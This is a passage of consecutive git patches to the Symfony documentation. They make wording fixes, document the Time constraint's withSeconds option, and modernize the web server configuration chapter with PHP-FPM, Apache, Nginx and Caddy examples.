+++ b/security/remember_me.rst
@@ -124,7 +124,7 @@ checkbox must have a name of ``_remember_me``:
         {# ... your form fields #}
 
         <label>
-            <input type="checkbox" name="_remember_me" checked/>
+            <input type="checkbox" name="_remember_me" checked>
             Keep me logged in
         </label>
 

From 09449352ac70826458372f638044bdd762ea5406 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Aug 2023 17:26:27 +0200
Subject: [PATCH 3597/5766] Minor tweak

---
 controller.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/controller.rst b/controller.rst
index a6d7178832f..e4874f3d9f0 100644
--- a/controller.rst
+++ b/controller.rst
@@ -430,9 +430,8 @@ attribute in your controller::
         // ...
     }
 
-You can customize the validation groups used during the mapping thanks to the
-``validationGroups`` option, but also the HTTP status to return if the
-validation fails::
+You can customize the validation groups used during the mapping and also the
+HTTP status to return if the validation fails::
 
     use Symfony\Component\HttpFoundation\Response;
 

From 57e16fea74adc1feae12721732665f5a307eaf32 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Aug 2023 17:52:49 +0200
Subject: [PATCH 3598/5766] Minor tweaks

---
 workflow.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 182b2aed825..dad77a90386 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -196,8 +196,8 @@ The configured property will be used via its implemented getter/setter methods b
         }
     }
 
-It is also possible to use public properties to be used by the marking
-store. The above class would become the following::
+It is also possible to use public properties for the marking store. The above
+class would become the following::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;
@@ -210,8 +210,8 @@ store. The above class would become the following::
         public string $content;
     }
 
-When using public properties, context is not supported. In order
-to support it, you must declare a setter to write your property::
+When using public properties, context is not supported. In order to support it,
+you must declare a setter to write your property::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;
@@ -223,13 +223,13 @@ to support it, you must declare a setter to write your property::
 
         public function setCurrentPlace(string $currentPlace, array $context = []): void
         {
-            // Assign the property and so something with `$context`
+            // assign the property and do something with the context
         }
     }
 
 .. versionadded:: 6.4
 
-    The support of using public properties instead of getter/setter methods
+    The feature to use public properties instead of getter/setter methods
     and private properties was introduced in Symfony 6.4.
 
 .. note::

From f76d264ce6f4eaee4608120a0190886de34ae7f0 Mon Sep 17 00:00:00 2001
From: Dmitrii Derepko <xepozz@list.ru>
Date: Tue, 1 Aug 2023 18:59:36 +0300
Subject: [PATCH 3599/5766] docs: Add documentation about new constraint option
 `withSeconds`

---
 reference/constraints/Time.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 8b69d2c3b00..6d4de73398f 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -101,4 +101,18 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+``withSeconds``
+~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+This option allows you to specify whether the time should include seconds.
+
+=========  ===============================  ==============  ================
+Option     Pattern                          Correct value   Incorrect value
+=========  ===============================  ==============  ================
+``true``   ``/^(\d{2}):(\d{2}):(\d{2})$/``  ``12:00:00``    ``12:00``
+``false``  ``/^(\d{2}):(\d{2})$/``          ``12:00``       ``12:00:00``
+=========  ===============================  ==============  ================
+
 .. include:: /reference/constraints/_payload-option.rst.inc

From 4e908413aee2b989414c02756523b0fbddfbe55c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 1 Aug 2023 19:26:27 +0200
Subject: [PATCH 3600/5766] Use Doctor RST 1.48.1

---
 .doctor-rst.yaml          | 1 -
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 29ef1e4506e..35125df61d6 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -103,6 +103,5 @@ whitelist:
         - '.. versionadded:: 0.2' # MercureBundle
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
-        - '// bin/console'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 4bed1d4dd23..482c55d7237 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.48.0
+                uses: docker://oskarstark/doctor-rst:1.48.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 46633f2cfe62c7a910020c3ca6993024e9c5f4bd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Aug 2023 08:30:28 +0200
Subject: [PATCH 3601/5766] Add the versionadded directive

---
 reference/constraints/Time.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 6d4de73398f..1732fb584f0 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -115,4 +115,8 @@ Option     Pattern                          Correct value   Incorrect value
 ``false``  ``/^(\d{2}):(\d{2})$/``          ``12:00``       ``12:00:00``
 =========  ===============================  ==============  ================
 
+.. versionadded:: 6.4
+
+    The ``withSeconds`` option was introduced in Symfony 6.4.
+
 .. include:: /reference/constraints/_payload-option.rst.inc

From 518e596eaacc12308f4338f6a8b21e76e1ea36f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Aug 2023 08:48:47 +0200
Subject: [PATCH 3602/5766] Added some context information

---
 components/intl.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 7983efb5eeb..3981062f5b7 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -182,8 +182,16 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes::
 Numeric Country Codes
 ~~~~~~~~~~~~~~~~~~~~~
 
-The :class:`Symfony\\Component\\Intl\\Countries` class also provides access to the
-numeric country codes according to the `ISO 3166-1 numeric`_ list::
+The `ISO 3166-1 numeric`_ standard defines three-digit country codes to represent
+countries, dependent territories, and special areas of geographical interest.
+
+The main advantage over the ISO 3166-1 alphabetic codes (alpha-2 and alpha-3) is
+that these numeric codes are independent from the writing system. The alphabetic
+codes use the 26-letter English alphabet, which might be unavailable or difficult
+to use for people and systems using non-Latin scripts (e.g. Arabic or Japanese).
+
+The :class:`Symfony\\Component\\Intl\\Countries` class provides access to these
+numeric country codes::
 
     use Symfony\Component\Intl\Countries;
 

From 7f314f5f47557c6a94a8a621016fd7494e32740c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Aug 2023 09:27:25 +0200
Subject: [PATCH 3603/5766] Reword

---
 service_container.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 047be2518e7..5065effb976 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -837,15 +837,16 @@ argument for *any* service defined in this file! You can bind arguments by name
 The ``bind`` config can also be applied to specific services or when loading many
 services at once (i.e. :ref:`service-psr4-loader`).
 
-Abstract service arguments
+Abstract Service Arguments
 --------------------------
 
-Sometimes, when defining services in your Symfony applications, there are arguments
-that can't be added in config files. The reason is that their values can only be
-calculated at runtime in a :doc:`compiler pass </service_container/compiler_passes>`
+Sometimes, the values of some service arguments can't be defined in the
+configuration files because they are calculated at runtime using a
+:doc:`compiler pass </service_container/compiler_passes>`
 or :doc:`bundle extension </bundles/extension>`.
 
-If value is not replaced a ``RuntimeException`` would be thrown.
+In those cases, you can use the ``abstract`` argument type to define at least
+the name of the argument and some short description about its purpose:
 
 .. configuration-block::
 
@@ -899,9 +900,13 @@ If value is not replaced a ``RuntimeException`` would be thrown.
             // ...
         };
 
-In this case, if you don't replace the value, ``RuntimeException`` will be thrown
-with message ``Argument "$rootNamespace" of service "App\Service\MyService" is
-abstract: should be defined by Pass.``
+If you don't replace the value of an abstract argument during runtime, a
+``RuntimeException`` will be thrown with a message like
+``Argument "$rootNamespace" of service "App\Service\MyService" is abstract: should be defined by Pass.``
+
+.. versionadded:: 5.1
+
+    The abstract service arguments were introduced in Symfony 5.1.
 
 .. _services-autowire:
 

From aadda225bd541a0425fdf47fc891d1d4cfebea14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Aug 2023 09:28:46 +0200
Subject: [PATCH 3604/5766] Remove the versionadded directive

---
 service_container.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 8bad77ae4b9..81d8d12569b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -991,10 +991,6 @@ If you don't replace the value of an abstract argument during runtime, a
 ``RuntimeException`` will be thrown with a message like
 ``Argument "$rootNamespace" of service "App\Service\MyService" is abstract: should be defined by Pass.``
 
-.. versionadded:: 5.1
-
-    The abstract service arguments were introduced in Symfony 5.1.
-
 .. _services-autowire:
 
 The autowire Option

From 035af33a75685f21e785818ff3c447de71c6417d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 15 Nov 2021 12:10:41 +0100
Subject: [PATCH 3605/5766] modernize the web server configuration chapter

---
 setup/web_server_configuration.rst | 355 +++++++----------------------
 1 file changed, 82 insertions(+), 273 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index f5f259413b5..7090572379a 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -5,17 +5,12 @@ The preferred way to develop your Symfony application is to use
 :doc:`Symfony Local Web Server </setup/symfony_server>`.
 
 However, when running the application in the production environment, you'll need
-to use a fully-featured web server. This article describes several ways to use
-Symfony with Apache or Nginx.
+to use a fully-featured web server. This article describes how to use Symfony
+with Apache or Nginx.
 
-When using Apache, you can configure PHP as an
-:ref:`Apache module <web-server-apache-mod-php>` or with FastCGI using
-:ref:`PHP FPM <web-server-apache-fpm>`. FastCGI also is the preferred way
-to use PHP :ref:`with Nginx <web-server-nginx>`.
+.. sidebar:: The public directory
 
-.. sidebar:: The ``public/`` directory
-
-    The ``public/`` directory is the home of all of your application's public and
+    The public directory is the home of all of your application's public and
     static files, including images, stylesheets and JavaScript files. It is
     also where the front controller (``index.php``) lives.
 
@@ -27,7 +22,83 @@ to use PHP :ref:`with Nginx <web-server-nginx>`.
     another location (e.g. ``public_html/``) make sure you
     :ref:`override the location of the public/ directory <override-web-dir>`.
 
-.. _web-server-nginx:
+Apache with PHP-FPM
+-------------------
+
+To make use of PHP-FPM with Apache, you first have to ensure that you have
+the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
+installed (for example, on a Debian based system you have to install the
+``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
+
+PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
+configure an arbitrary number of pools in the FPM configuration. In a pool
+you configure either a TCP socket (IP and port) or a Unix domain socket to
+listen on. Each pool can also be run under a different UID and GID:
+
+.. code-block:: ini
+
+    ; a pool called www
+    [www]
+    user = www-data
+    group = www-data
+
+    ; use a unix domain socket
+    listen = /var/run/php/php7.4-fpm.sock
+
+    ; or listen on a TCP socket
+    listen = 127.0.0.1:9000
+
+Using mod_proxy_fcgi with Apache 2.4
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you are running Apache 2.4, you can use ``mod_proxy_fcgi`` to pass incoming
+requests to PHP-FPM. Configure PHP-FPM to listen on a TCP or Unix socket, enable
+``mod_proxy`` and ``mod_proxy_fcgi`` in your Apache configuration, and use the
+``SetHandler`` directive to pass requests for PHP files to PHP FPM:
+
+.. code-block:: apache
+
+    <VirtualHost *:80>
+        ServerName domain.tld
+        ServerAlias www.domain.tld
+
+        # Uncomment the following line to force Apache to pass the Authorization
+        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
+        #
+        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
+
+        # For Apache 2.4.9 or higher
+        # Using SetHandler avoids issues with using ProxyPassMatch in combination
+        # with mod_rewrite or mod_autoindex
+        <FilesMatch \.php$>
+            SetHandler proxy:fcgi://127.0.0.1:9000
+            # for Unix sockets, Apache 2.4.10 or higher
+            # SetHandler proxy:unix:/path/to/fpm.sock|fcgi://dummy
+        </FilesMatch>
+
+        # If you use Apache version below 2.4.9 you must consider update or use this instead
+        # ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
+
+        # If you run your Symfony application on a subpath of your document root, the
+        # regular expression must be changed accordingly:
+        # ProxyPassMatch ^/path-to-app/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
+
+        DocumentRoot /var/www/project/public
+        <Directory /var/www/project/public>
+            AllowOverride None
+            Require all granted
+            FallbackResource /index.php
+        </Directory>
+
+        # uncomment the following lines if you install assets as symlinks
+        # or run into problems when compiling LESS/Sass/CoffeeScript assets
+        # <Directory /var/www/project>
+        #     Options FollowSymlinks
+        # </Directory>
+
+        ErrorLog /var/log/apache2/project_error.log
+        CustomLog /var/log/apache2/project_access.log combined
+    </VirtualHost>
 
 Nginx
 -----
@@ -53,7 +124,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 
@@ -115,268 +186,6 @@ The **minimum configuration** to get your application running under Nginx is:
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
-.. _web-server-apache-mod-php:
-
-Adding Rewrite Rules for Apache
--------------------------------
-
-The easiest way is to install the ``apache`` :ref:`Symfony pack <symfony-packs>`
-by executing the following command:
-
-.. code-block:: terminal
-
-    $ composer require symfony/apache-pack
-
-This pack installs a ``.htaccess`` file in the ``public/`` directory that contains
-the rewrite rules needed to serve the Symfony application.
-
-In production servers, you should move the ``.htaccess`` rules into the main
-Apache configuration file to improve performance. To do so, copy the
-``.htaccess`` contents inside the ``<Directory>`` configuration associated to
-the Symfony application ``public/`` directory (and replace ``AllowOverride All``
-by ``AllowOverride None``):
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        # ...
-        DocumentRoot /var/www/project/public
-
-        <Directory /var/www/project/public>
-            AllowOverride None
-
-            # Copy .htaccess contents here
-        </Directory>
-    </VirtualHost>
-
-Apache with mod_php/PHP-CGI
----------------------------
-
-The **minimum configuration** to get your application running under Apache is:
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            AllowOverride All
-            Order Allow,Deny
-            Allow from All
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-.. tip::
-
-    If your system supports the ``APACHE_LOG_DIR`` variable, you may want
-    to use ``${APACHE_LOG_DIR}/`` instead of hardcoding ``/var/log/apache2/``.
-
-Use the following **optimized configuration** to disable ``.htaccess`` support
-and increase web server performance:
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
-
-        DocumentRoot /var/www/project/public
-        DirectoryIndex /index.php
-
-        <Directory /var/www/project/public>
-            AllowOverride None
-            Order Allow,Deny
-            Allow from All
-
-            FallbackResource /index.php
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        # optionally disable the fallback resource for the asset directories
-        # which will allow Apache to return a 404 error when files are
-        # not found instead of passing the request to Symfony
-        <Directory /var/www/project/public/bundles>
-            DirectoryIndex disabled
-            FallbackResource disabled
-        </Directory>
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-
-        # optionally set the value of the environment variables used in the application
-        #SetEnv APP_ENV prod
-        #SetEnv APP_SECRET <app-secret-id>
-        #SetEnv DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name"
-    </VirtualHost>
-
-.. caution::
-
-    Use ``FallbackResource`` on Apache 2.4.25 or higher, due to a bug which was
-    fixed on that release causing the root ``/`` to hang.
-
-.. tip::
-
-    If you are using **php-cgi**, Apache does not pass HTTP basic username and
-    password to PHP by default. To work around this limitation, you should use
-    the following configuration snippet:
-
-    .. code-block:: apache
-
-        RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
-
-Using mod_php/PHP-CGI with Apache 2.4
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-In Apache 2.4, ``Order Allow,Deny`` has been replaced by ``Require all granted``.
-Hence, you need to modify your ``Directory`` permission settings as follows:
-
-.. code-block:: apache
-
-    <Directory /var/www/project/public>
-        Require all granted
-        # ...
-    </Directory>
-
-For advanced Apache configuration options, read the official `Apache documentation`_.
-
-.. _web-server-apache-fpm:
-
-Apache with PHP-FPM
--------------------
-
-To make use of PHP-FPM with Apache, you first have to ensure that you have
-the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
-installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php<version>-fpm`` packages).
-
-PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
-configure an arbitrary number of pools in the FPM configuration. In a pool
-you configure either a TCP socket (IP and port) or a Unix domain socket to
-listen on. Each pool can also be run under a different UID and GID:
-
-.. code-block:: ini
-
-    ; a pool called www
-    [www]
-    user = www-data
-    group = www-data
-
-    ; use a unix domain socket
-    listen = /var/run/php/php-fpm.sock
-
-    ; or listen on a TCP socket
-    listen = 127.0.0.1:9000
-
-Using mod_proxy_fcgi with Apache 2.4
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you are running Apache 2.4, you can use ``mod_proxy_fcgi`` to pass incoming
-requests to PHP-FPM. Configure PHP-FPM to listen on a TCP or Unix socket, enable
-``mod_proxy`` and ``mod_proxy_fcgi`` in your Apache configuration, and use the
-``SetHandler`` directive to pass requests for PHP files to PHP FPM:
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
-
-        # Uncomment the following line to force Apache to pass the Authorization
-        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
-        #
-        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
-
-        # For Apache 2.4.9 or higher
-        # Using SetHandler avoids issues with using ProxyPassMatch in combination
-        # with mod_rewrite or mod_autoindex
-        <FilesMatch \.php$>
-            SetHandler proxy:fcgi://127.0.0.1:9000
-            # for Unix sockets, Apache 2.4.10 or higher
-            # SetHandler proxy:unix:/path/to/fpm.sock|fcgi://dummy
-        </FilesMatch>
-
-        # If you use Apache version below 2.4.9 you must consider update or use this instead
-        # ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
-
-        # If you run your Symfony application on a subpath of your document root, the
-        # regular expression must be changed accordingly:
-        # ProxyPassMatch ^/path-to-app/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            # enable the .htaccess rewrites
-            AllowOverride All
-            Require all granted
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-PHP-FPM with Apache 2.2
-~~~~~~~~~~~~~~~~~~~~~~~
-
-On Apache 2.2 or lower, you cannot use ``mod_proxy_fcgi``. You have to use
-the `FastCgiExternalServer`_ directive instead. Therefore, your Apache configuration
-should look something like this:
-
-.. code-block:: apache
-
-    <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
-
-        AddHandler php7-fcgi .php
-        Action php7-fcgi /php7-fcgi
-        Alias /php7-fcgi /usr/lib/cgi-bin/php7-fcgi
-        FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -host 127.0.0.1:9000 -pass-header Authorization
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            # enable the .htaccess rewrites
-            AllowOverride All
-            Order Allow,Deny
-            Allow from all
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-If you prefer to use a Unix socket, you have to use the ``-socket`` option
-instead:
-
-.. code-block:: apache
-
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php-fpm.sock -pass-header Authorization
-
 .. _`Apache documentation`: https://httpd.apache.org/docs/
 .. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer
 .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/

From 33ea1fa13bd986c5021b8dbada9cb1af3ea1211b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 20 Dec 2022 22:55:59 +0100
Subject: [PATCH 3606/5766] Clean-up Apache and Nginx parts

---
 setup/web_server_configuration.rst | 109 +++++++++++++++++++----------
 1 file changed, 72 insertions(+), 37 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 7090572379a..1682c8a58de 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -22,13 +22,12 @@ with Apache or Nginx.
     another location (e.g. ``public_html/``) make sure you
     :ref:`override the location of the public/ directory <override-web-dir>`.
 
-Apache with PHP-FPM
+Configuring PHP-FPM
 -------------------
 
-To make use of PHP-FPM with Apache, you first have to ensure that you have
-the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
-installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
+All configuration examples below use the PHP FastCGI process manager
+(PHP-FPM). Ensure that you have installed PHP-FPM (for example, on a Debian
+based system you have to install the ``php-fpm`` package).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -37,6 +36,8 @@ listen on. Each pool can also be run under a different UID and GID:
 
 .. code-block:: ini
 
+    ; /etc/php/7.4/fpm/pool.d/www.conf
+
     ; a pool called www
     [www]
     user = www-data
@@ -45,43 +46,37 @@ listen on. Each pool can also be run under a different UID and GID:
     ; use a unix domain socket
     listen = /var/run/php/php7.4-fpm.sock
 
-    ; or listen on a TCP socket
-    listen = 127.0.0.1:9000
+    ; or listen on a TCP connection
+    ; listen = 127.0.0.1:9000
 
-Using mod_proxy_fcgi with Apache 2.4
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Apache
+------
 
-If you are running Apache 2.4, you can use ``mod_proxy_fcgi`` to pass incoming
-requests to PHP-FPM. Configure PHP-FPM to listen on a TCP or Unix socket, enable
-``mod_proxy`` and ``mod_proxy_fcgi`` in your Apache configuration, and use the
-``SetHandler`` directive to pass requests for PHP files to PHP FPM:
+If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
+incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
+(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
+``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
+directive to pass requests for PHP files to PHP FPM:
 
 .. code-block:: apache
 
+    # /etc/apache2/conf.d/example.com.conf
     <VirtualHost *:80>
-        ServerName domain.tld
-        ServerAlias www.domain.tld
+        ServerName example.com
+        ServerAlias www.example.com
 
         # Uncomment the following line to force Apache to pass the Authorization
         # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
         #
         # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
 
-        # For Apache 2.4.9 or higher
-        # Using SetHandler avoids issues with using ProxyPassMatch in combination
-        # with mod_rewrite or mod_autoindex
         <FilesMatch \.php$>
-            SetHandler proxy:fcgi://127.0.0.1:9000
-            # for Unix sockets, Apache 2.4.10 or higher
-            # SetHandler proxy:unix:/path/to/fpm.sock|fcgi://dummy
-        </FilesMatch>
-
-        # If you use Apache version below 2.4.9 you must consider update or use this instead
-        # ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
+            # when using PHP-FPM as a unix socket
+            SetHandler proxy:unix:/var/run/php/php7.4-fpm.sock|fcgi://dummy
 
-        # If you run your Symfony application on a subpath of your document root, the
-        # regular expression must be changed accordingly:
-        # ProxyPassMatch ^/path-to-app/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
+            # when PHP-FPM is configured to use TCP
+            # SetHandler proxy:fcgi://127.0.0.1:9000
+        </FilesMatch>
 
         DocumentRoot /var/www/project/public
         <Directory /var/www/project/public>
@@ -107,8 +102,9 @@ The **minimum configuration** to get your application running under Nginx is:
 
 .. code-block:: nginx
 
+    # /etc/nginx/conf.d/example.com.conf
     server {
-        server_name domain.tld www.domain.tld;
+        server_name example.com www.example.com;
         root /var/www/project/public;
 
         location / {
@@ -124,7 +120,12 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
+            # when using PHP-FPM as a unix socket
             fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+
+            # when PHP-FPM is configured to use TCP
+            # fastcgi_pass 127.0.0.1:9000;
+
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 
@@ -146,7 +147,7 @@ The **minimum configuration** to get your application running under Nginx is:
             fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
             fastcgi_param DOCUMENT_ROOT $realpath_root;
             # Prevents URIs that include the front controller. This will 404:
-            # http://domain.tld/index.php/some-path
+            # http://example.com/index.php/some-path
             # Remove the internal directive to allow URIs like this
             internal;
         }
@@ -166,11 +167,6 @@ The **minimum configuration** to get your application running under Nginx is:
     If you use NGINX Unit, check out the official article about
     `How to run Symfony applications using NGINX Unit`_.
 
-.. note::
-
-    Depending on your PHP-FPM config, the ``fastcgi_pass`` can also be
-    ``fastcgi_pass 127.0.0.1:9000``.
-
 .. tip::
 
     This executes **only** ``index.php`` in the public directory. All other files
@@ -186,7 +182,46 @@ The **minimum configuration** to get your application running under Nginx is:
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
-.. _`Apache documentation`: https://httpd.apache.org/docs/
-.. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer
+Caddy
+-----
+
+When using Caddy on the server, you can use a configuration like this:
+
+.. code-block:: raw
+
+    # /etc/caddy/Caddyfile
+    example.com, www.example.com {
+        root * /var/www/project/public
+
+        # serve files directly if they can be found (e.g. CSS or JS files in public/)
+        encode zstd gzip
+        file_server
+
+
+        # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
+        php_fastcgi unix//var/run/php/php7.4-fpm.sock {
+            # optionally set the value of the environment variables used in the application
+            # env APP_ENV "prod"
+            # env APP_SECRET "<app-secret-id>"
+            # env DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name"
+
+            # Configure the FastCGI to resolve any symlinks in the root path.
+            # This ensures that OpCache is using the destination filenames,
+            # instead of the symlinks, to cache opcodes and php files see
+            # https://caddy.community/t/root-symlink-folder-updates-and-caddy-reload-not-working/10557
+            resolve_root_symlink
+        }
+
+        # return 404 for all other php files not matching the front controller
+        # this prevents access to other php files you don't want to be accessible.
+        @phpFile {
+            path *.php*
+        }
+        error @phpFile "Not found" 404
+    }
+
+See the `official Caddy documentation`_ for more examples, such as using
+Caddy in a container infrastructure.
+
 .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/
 .. _`How to run Symfony applications using NGINX Unit`: https://unit.nginx.org/howto/symfony/

From 679bf644642007fb17c40f5748d304666d4aa321 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 20 Dec 2022 22:56:05 +0100
Subject: [PATCH 3607/5766] Add Caddy section

---
 setup/web_server_configuration.rst | 5 +++--
